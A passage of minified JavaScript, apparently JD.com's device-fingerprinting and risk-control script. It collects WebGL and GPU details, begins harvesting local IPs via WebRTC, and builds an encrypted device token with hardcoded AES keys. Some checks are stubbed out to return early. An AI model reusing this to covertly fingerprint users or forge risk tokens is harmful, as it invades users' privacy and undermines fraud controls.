c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + 